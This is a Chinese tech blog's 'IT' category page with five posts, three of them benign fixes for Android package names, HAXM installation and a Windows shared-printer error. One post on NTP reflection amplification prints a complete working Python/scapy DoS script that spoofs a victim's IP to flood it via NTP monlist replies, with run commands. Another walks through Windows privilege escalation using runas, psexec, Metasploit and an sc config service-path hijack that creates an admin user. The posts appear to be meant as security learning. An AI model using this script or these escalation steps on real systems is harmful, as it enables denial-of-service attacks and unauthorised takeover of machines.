分类 IT 下的文章 - Yloadtech
首页
视频
音乐
直播
壁纸
友情链接
统计
反馈
更多
关于
搜 索
1
【教程】Typecho Joe主题开启并修复壁纸相册不显示问题
187 阅读
2
如何利用PHP开发一个简单的在线视频播放器
172 阅读
3
解决 win11 连接共享打印机,报错 0x00000709 问题
165 阅读
4
php实现基本的日历显示与实时查询功能
153 阅读
5
NTP反射放大攻击!
148 阅读
PHP
Java
IT
网络大神
社会一角
登录
/
注册
搜 索
标签搜索
半篇 关注
Yloadtech
累计撰写
34
篇文章
累计收到
6
条评论
首页
栏目
PHP
Java
IT
网络大神
社会一角
页面
视频
音乐
直播
壁纸
友情链接
统计
反馈
关于
用户登录
登录
注册
找到
17
篇与
IT
相关的结果
2025-07-06
如何在Android项目中删除包名中重复的com?
在Android项目中,包名(package name)是用来唯一标识应用的,并且它遵循Java的包命名规范。通常情况下,包名是由多个单词组成,每个单词之间用点(.)分隔,且第一个单词通常是小写的域名反写,例如com.example.myapp。如果你遇到了包名中重复的com,这可能是由于项目结构或导入语句的错误导致的。基础概念包名是Android应用的重要组成部分,它在AndroidManifest.xml文件中声明,并且与应用的文件系统结构相对应。例如,如果你的包名是com.example.myapp,那么你的源代码应该位于src/main/java/com/example/myapp目录下。解决步骤检查项目结构:确保你的项目目录结构与包名相匹配。例如,如果你的包名是com.example.myapp,那么你的Java文件应该位于src/main/java/com/example/myapp目录下。修改包名:如果包名中出现了重复的com,你需要修改它。这涉及到以下几个步骤:修改AndroidManifest.xml文件中的package属性。修改所有Java文件的包声明。如果使用了模块化开发,还需要修改模块的build.gradle文件中的applicationId。更新导入语句:修改所有导入语句,确保它们使用正确的包名。示例代码假设你的原始包名是com.com.example.myapp,你想将其改为com.example.myapp。修改AndroidManifest.<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.myapp"> ... </manifest>修改Java文件的包声明package com.example.myapp; public class MainActivity extends AppCompatActivity { ... }修改build.gradle文件android { defaultConfig { applicationId "com.example.myapp" ... } ... }更新导入语句确保所有导入语句都使用新的包名,例如:import com.example.myapp.R; import com.example.myapp.util.MyUtil;应用场景这种情况通常发生在项目初始化时包名设置错误,或者在项目重构过程中不小心重复了包名前缀。遇到问题的原因重复的com可能是由于以下原因造成的:在创建新模块或类时,复制粘贴了错误的包名。在重构项目结构时,没有正确更新所有相关的包名和导入语句。解决问题的方法按照上述步骤逐一检查和修改,确保所有相关的文件和配置都使用了正确的包名。在修改后,重新构建项目并运行以确保没有引入新的错误。通过这些步骤,你应该能够解决Android项目中包名重复com的问题。如果在进行这些更改后仍然遇到问题,建议使用IDE的重构工具来帮助自动化这些更改,并检查是否有遗漏的地方。
2025年07月06日
24 阅读
0 评论
0 点赞
2025-06-21
Android SDK中无法安装HAXM installer
一、原因: 刚搭建好环境,当我想打开Android Studio 自带的模拟器时,出现如下: /dev/kvm is not found 二、解决步骤:1、点击File -- Settings… -- appearance&Behavior -- Android SDK -- SDK Tools 2、勾选:Intel x86 Emulator Accelerator(HAXM installer),点击OK3、可是安装不了,出现如下错误:4、网上查看办法,说需要进入的电脑的BIOS中修改,找到Intel Virtual Technology设置为Enabled(表示开启虚拟化)就可以了。可是还是不行。 再查看,说在C:\Users\Administrator\AppData\Local\Android\Sdk\extras\intel 里面有intellhaxm-android.exe,需要手动安装。 可是我一看intel文件夹里面什么都没有。5、既然Android SDK不能帮我下载安装,那只能自己手动下载安装。查了资料,点击:https://github.com/intel/haxm 不要直接下载,因为没exe应用程序。拉到下面的Downloads,点击here,之后点击Latest release(最新版本),点击haxm-windows_v7_5_2.zip(我的是windows系统)。6、下载完成在,解压放到自己的…sdk\extras\intel的目录下,进行安装。7、重启Android Studio,打开模拟器,成功,如下:
2025年06月21日
96 阅读
2 评论
0 点赞
2025-02-01
NTP反射放大攻击!
新年伊始,Deepseek遭受SSDP、Ntp大规模反射放大攻击。Dos、Ddos攻击经常听说,这个没怎么听说过,以此为契机,一起普及下。NTP反射放大攻击攻击者安装python2.7 这个不用说安装scapy从网址下载:http://www.secdev.org/projects/scapy/files/scapy-2.3.1.zip ,也可以用wget scapy.netcp ~/Downloads/scapy-2.3.1.zip /root unzip scapy-2.3.1.zip cd scapy-2.3.1 python setup.py install3.编写攻击脚本from scapy.all import * import sys import threading import time import random # For Random source port #NTP Amp DOS attack #usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10 #FOR USE ON YOUR OWN NETWORK ONLY #Random source port added by JDMoore0883 #packet sender def deny(): #Import globals to function global ntplist global currentserver global data global target ntpserver = ntplist[currentserver] #Get new server currentserver = currentserver + 1 #Increment for next packet = IP(dst=ntpserver,src=target)/UDP(sport=random.randint(2000,65533),dport=123)/Raw(load=data) #BUILD IT send(packet,loop=1) #SEND IT #So I dont have to have the same stuff twice def printhelp(): print "NTP Amplification DOS Attack" print "By DaRkReD" print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>" print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10" print "NTP serverlist file should contain one IP per line" print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS" exit(0) try: if len(sys.argv) < 4: printhelp() #Fetch Args target = sys.argv[1] #Help out idiots if target in ("help","-h","h","?","--h","--help","/?"): printhelp() ntpserverfile = sys.argv[2] numberthreads = int(sys.argv[3]) #System for accepting bulk input ntplist = [] currentserver = 0 with open(ntpserverfile) as f: ntplist = f.readlines() #Make sure we dont out of bounds if numberthreads > int(len(ntplist)): print "Attack Aborted: More threads than servers" print "Next time dont create more threads than servers" exit(0) #Magic Packet aka NTP v2 Monlist Packet data = "\x17\x00\x03\x2a" + "\x00" * 4 #Hold our threads threads = [] print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads" print "Use CTRL+C to stop attack" #Thread spawner for n in range(numberthreads): thread = threading.Thread(target=deny) thread.daemon = True thread.start() threads.append(thread) #In progress! print "Sending..." #Keep alive so ctrl+c still kills all them threads while True: time.sleep(1) except KeyboardInterrupt: print("Script Stopped [ctrl + c]... Shutting down") # Script ends here4、在相对目录下建立文件 1.txt,里面存放ntp服务器的ip地址(10.112.254.141)5、执行./ntpdos.py 192.168.101.146 1.txt 1效果展示攻击端NTP服务器服务器收到一个伪造来源的请求,反射回一个数据包受害者(NTP客户端):攻击成功,由于网络环境较为简单,反射倍数不大,如果放在较为复杂的网络当中,NTP 服务器会向查询端返回与NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。反射流量将会瞬间使被攻击端被流量淹没~
2025年02月01日
148 阅读
0 评论
0 点赞
2025-01-31
学习内网第十天--windows几种提权的方式
前言 这一篇介绍几种提权的方式,这几种提权的前提大部分是要有个高权限的账号密码,且防火墙开启了文件和打印机共享(File and Printer Sharing)的策略,由于windows默认开启smb服务,一般没关闭这个服务的话,445端口是默认开启的,这个条件一般都是默认达成的,然后我这里用windows10的靶机做的测试,UAC不影响提权。 1.runas提权 2.psexec提权 3.利用服务提权 4.sc对服务的操作1.runas提权这个提权的前提就只用知道管理员的账号和密码,可以当成sudo来理解用法: runas /env /noprofile /user:管理员账户 "要执行的命令或程序"admin是管理员组的成员。2.psexec提权这个有两种使用的方法提权,一个是使用PsExec64.exe来进行提权,一个是使用msf提权PsExec64.exe的提权如下满足上面的条件,即可直接提权至systemmsf提权search psexec 在使用4的模块要设置的options,RHOST,SMBPass,SMBUser拿下system的权限3.利用服务提权这里只介绍有这样的方法提权,暂时没有介绍如何去找有问题的服务。1.当某个服务以system的身份运行,且普通用户有修改配置和开启关闭的权限时,可以通过修改这个服务配置的文件路径进行提权2.当没有修改配置路径的权限,但对这个路径的文件有写入的权限时,可以通过覆盖这个服务的方式进行提权accesschk工具部分参数的介绍靶机中存在有问题的daclsvc服务使用accesschk工具查看对该服务拥有哪些权限accesschk64.exe /accepteula -uwcqv user daclsvc通过sc命令修改配置文件路径sc config daclsvc binpath= "\"C:\Users\user\Desktop\newuser.bat\""我这里写了个新建用户并加入管理员组的脚本,将配置路径修改为这个脚本的路径重启服务或者关闭再开启这个服务 ,这里默认没开启这个服务,直接开启即可脚本执行成功4.sc命令介绍sc命令是Windows操作系统中的一个命令行工具,用于管理Windows服务。可以用它来启动、停止、暂停、继续、查询及修改服务的配置信息等操作。使用sc命令可以从命令行或者批处理脚本中方便地管理Windows服务,而不必打开服务管理控制台。一些常用的sc命令选项包括:sc query:查询所有的服务及其状态。sc start [service name]:启动指定名称的服务。sc stop [service name]:停止指定名称的服务。sc pause [service name]:暂停指定名称的服务。sc continue [service name]:继续运行指定名称的服务。sc config [service name]:修改指定名称的服务的配置信息。其中,[service name]是指要操作的服务的名称,可以使用任务管理器或命令行中的tasklist命令来列出当前正在运行的服务及其名称。在利用服务提权的例子中,使用几次了sc的命令sc qc daclsvc # 查询daclsvc服务的信息将daclsvc服务的文件路径修改为指定路径,这里注意在binpath=后面存在一个空格路径尽可能使用下面的方式,带了两对引号,且一对转义了sc config daclsvc binpath= "\"C:\Users\user\Desktop\newuser.bat\"" sc stop daclsvc # 停止daclsvc服务sc start daclsvc # 开启daclsvc服务
2025年01月31日
132 阅读
0 评论
0 点赞
2024-12-22
解决 win11 连接共享打印机,报错 0x00000709 问题
解决 win11 连接共享打印机,报错 0x00000709 问题一、问题描述:当我们连接一台共享打印机,出现报错 0x00000709 时,这是由于本机注册表本配置 RPC 远程调用,我们需要对自己的电脑进行修改,而不是主机(接线连接打印机的电脑),即:那台电脑报错0x00000709,就修改那台电脑注册表。二、解决办法1、键盘上按 【win+R】 打开运行窗口,输入 【regedit】回车,打开注册表编辑器。2、依次找到如下路径:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\RPC3、也许你的电脑只找到 Windows NT,而没有 Printers\RPC,这就是问题所在。HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\ 4、右键【Windows NT】,新建 【项】,命名为【Printers】,再右键新创建的【Printers】,继续新建【项】,并命名为【RPC】。5、右键新创建的 【RPC】,新建 【 DWORD(32位) 值 】,值名为【 RpcUseNamedPipeProtocol 】然后点击打开新创建的【 RpcUseNamedPipeProtocol 】 ,修改 【数值数据】为1,点击【确定】。保存退出或重启电脑,如果直接能连接可不用重启,重新连接共享打印机,快、准、狠,;一针见血,问题解决。
2024年12月22日
165 阅读
0 评论
0 点赞
1
2
...
4